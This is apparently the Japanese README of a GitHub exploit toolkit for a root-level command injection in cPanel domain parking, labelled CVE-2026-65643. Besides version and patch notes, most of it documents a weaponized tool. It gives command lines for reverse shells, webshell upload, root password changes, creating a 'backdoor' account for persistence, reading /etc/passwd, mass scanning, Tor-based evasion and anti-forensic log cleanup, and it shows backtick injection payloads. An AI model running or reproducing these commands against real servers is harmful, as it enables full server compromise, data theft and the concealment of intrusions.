
CVE‑2026‑65643 – cPanel ドメインパーキング RCE ツールキット

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみを対象としたツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、TCK 243/244(トルコ)、および世界中の同様の法律の下で違法です。
脆弱性の概要
CVE‑2026‑65643 は、cPanel & WHM バージョン 11.x における重大なコマンドインジェクション脆弱性であり、認証された cPanel ユーザーがドメインパーキング機能を介して root 権限で任意のシステムコマンドを実行できるようにします。
仕組み
- 認証済みアクセスが必要 – 攻撃者は対象サーバー上に有効な cPanel アカウント(ユーザー名/パスワード)を持っている必要があります。
- ドメインパーキングインジェクション – パークドメインを追加する際、ドメイン名が適切にサニタイズされていないため、攻撃者はバッククォート(
`)を使用してシェルコマンドを注入できます。
- コマンド実行 – 注入されたコマンドは cPanel ユーザーの権限でシステムによって実行され、権限昇格技術を介して root に昇格させることができます。
- root 権限 – ドメインパーキング操作は十分な権限で実行されるため、任意のコマンドを高い権限で実行できます。
- 影響 – サーバー全体の侵害、データ窃取、バックドア、ランサムウェア、横展開。直ちにアップグレードしてください!
影響を受けるバージョン
- cPanel & WHM 11.110.0.140 以前 – 脆弱
- 11.134.0.52 以前 – 脆弱
- 11.136.0.36 以前 – 脆弱
- 11.138.0.1 以前 – 脆弱
- 11.138.1.6 以降 – 修正済み
パッチ
- cPanel & WHM 11.138.1.6、11.138.0.2、11.136.0.37、11.134.0.53、または 11.110.0.141 以降にアップグレードしてください。
- アップグレードが不可能な場合は、一時的な回避策として cPanel ユーザーのドメインパーキング権限を無効化してください。
ツール
| ツール | 目的 | 対象ユーザー |
|---|
exploit.py | リバースシェル、ウェブシェル、永続化、ファイル読み書き、root パスワード変更、大量スキャン、Tor サポート、OPSEC 機能を備えた完全な武器化ツールキット。 | レッドチーム / 許可されたペンテスター |
verifier.py | 非侵入型の脆弱性チェッカー。cPanel バージョンを検出し、インジェクションを検証し、悪意のあるペイロードを実行せずにリスクを評価します。詳細なレポートを生成します。 | ブルーチーム / セキュリティ監査人 |
機能比較
| 機能 | exploit.py | verifier.py |
|---|
| 脆弱性検出 | [+] | [+] |
| バージョン検出(4 エンドポイント) | [+] | [+] |
| コマンドインジェクション | [+] | [-] |
| リバースシェル | [+] | [-] |
| WebShell アップロード | [+] | [-] |
| 永続化(cPanel ユーザー作成) | [+] | [-] |
| root パスワード変更 | [+] | [-] |
| ファイル読み書き | [+] | [-] |
| 4 つのインジェクション手法(JSON/Form/CGI/API2) | [+] | [+] |
| Tor サポート(匿名性) | [+] | [-] |
| User‑Agent ローテーション(OPSEC) | [+] | [-] |
| ジッター(OPSEC) | [+] | [-] |
| 大量スキャン(マルチスレッド) | [+] | [-] |
| インタラクティブシェル | [+] | [-] |
| 非侵入(安全)モード | [-] | [+] |
| タイムラインログ | [+] | [+] |
| HTML レポート | [+] | [-] |
| JSON レポート | [+] | [+] |
| ログクリーンアップ(アンチフォレンジック) | [+] | [+] |
| プロキシサポート | [+] | [+] |
| カスタム User‑Agent | [+] | [+] |
| SSL 検証制御 | [+] | [+] |
ユースケースの概要
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – cPanel インストールが脆弱かどうかの確認 | verifier.py |
| セキュリティ監査 – 非侵入型の脆弱性評価 | verifier.py |
| レッドチーム – 完全な悪用を伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | verifier.py |
| 大量スキャン – 複数のターゲットの脆弱性チェック | exploit.py(検出のみ) |
| インシデント対応 – システムが侵害されているかどうかの確認 | verifier.py |
インストール
git clone https://github.com/tc4dy/CVE-2026-65643-PoC-Toolkit
cd CVE-2026-65643-PoC-Toolkit
pip install -r requirements.txt
requirements.txt
requests
urllib3
パラメータ
exploit.py のパラメータ
| パラメータ | 説明 |
|---|
-t, --target | 対象 cPanel URL(例: https://cpanel.example.com:2083) |
-l, --target-file | 大量スキャン用のターゲットリストを含むファイル(1 行に 1 つ) |
-u, --username | cPanel ユーザー名 |
-P, --password | cPanel パスワード |
-p, --port | cPanel ポートを上書き(デフォルトは URL または 2083) |
--threads | マルチターゲット用のスレッド数(デフォルト: 10) |
-o, --output | JSON レポートをファイルに保存 |
--html-report | HTML レポートをファイルに保存 |
-v, --verbose | 詳細出力 |
--proxy | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
--tor | Tor 経由でルーティング(localhost:9050) |
-ua, --user-agent | カスタム User‑Agent |
--no-keep-alive | セッションを維持しない |
--delay | リクエスト間の遅延(デフォルト: 2.0 秒) |
--jitter | リクエスト間のランダムジッター(0~1 秒)(デフォルト: 0.5) |
--max-retries | 最大リトライ回数(デフォルト: 5) |
--ssl-verify | SSL 証明書を検証 |
--timeout | リクエストタイムアウト(デフォルト: 15 秒) |
--cmd | 対象で単一のコマンドを実行 |
--reverse-shell | リバースシェル IP:PORT |
--passwd | root パスワードを変更 |
--adduser | cPanel ユーザーを作成(USER DOMAIN PASSWORD) |
--read | ファイルを読み取り |
--write | ファイルを書き込み(パスを指定) |
--write-content | 書き込む内容 |
--cleanup | 悪用後にログと履歴をクリーンアップ |
-i, --interactive | 悪用後のインタラクティブシェル |
--domain-suffix | パークドメインのサフィックス(デフォルト: exploit.local) |
verifier.py のパラメータ
| パラメータ | 説明 |
|---|
-t, --target | 対象 cPanel URL(例: https://cpanel.example.com:2083) |
-u, --username | cPanel ユーザー名 |
-P, --password | cPanel パスワード |
-o, --output | JSON レポートをファイルに保存 |
-v, --verbose | 詳細出力 |
--proxy | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
--tor | Tor 経由でルーティング(localhost:9050) |
--ssl-verify | SSL 証明書を検証 |
--timeout | リクエストタイムアウト(デフォルト: 15 秒) |
--cleanup | テスト後にログをクリーンアップ |
シナリオ
| # | シナリオ | コマンド |
|---|
| 1 | 簡易脆弱性チェック | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass |
| 2 | レポート付き詳細スキャン | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v |
| 3 | リバースシェル | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | コマンド実行 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami" |
| 5 | 機密ファイルの読み取り | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | root パスワード変更 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 新規 cPanel ユーザー作成(永続化) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 悪用後のインタラクティブシェル | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | ファイルからの大量スキャン | python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json |
| 10 | プロキシ、Tor、カスタム User‑Agent の使用 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0" |
| 11 | 悪用後のログクリーンアップ | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup |
エンドポイントとインジェクション手法
エクスプロイトは以下の cPanel エンドポイントとインジェクション手法を使用します:
| 手法 | エンドポイント | 説明 |
|---|
| JSON API | /cpsessXXXXX/json-api/domain | JSON ペイロードによる主要なインジェクション手法 |
| Form Data | /cpsessXXXXX/json-api/domain | フォームエンコードデータによる代替インジェクション |
| CGI Script | /cgi-sys/domainpark.cgi | レガシー CGI エンドポイントインジェクション |
| API2 | /cpsessXXXXX/json-api/cpanel | レガシー API2 インジェクション手法 |
ペイロード形式
# インジェクションペイロード形式
test.com`<command>`
# 例
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`
責任ある使用
- これらのツールは、所有しているか、テストするための明示的な書面による許可を得ているシステムでのみ使用してください。
- 不正アクセスは違法であり、非倫理的です。
- 作者は、いかなる誤用についても責任を負いません。
- 常に自国の法律および規制に従ってください。
このソフトウェアは、教育目的および許可されたセキュリティテストのみを目的として提供されています。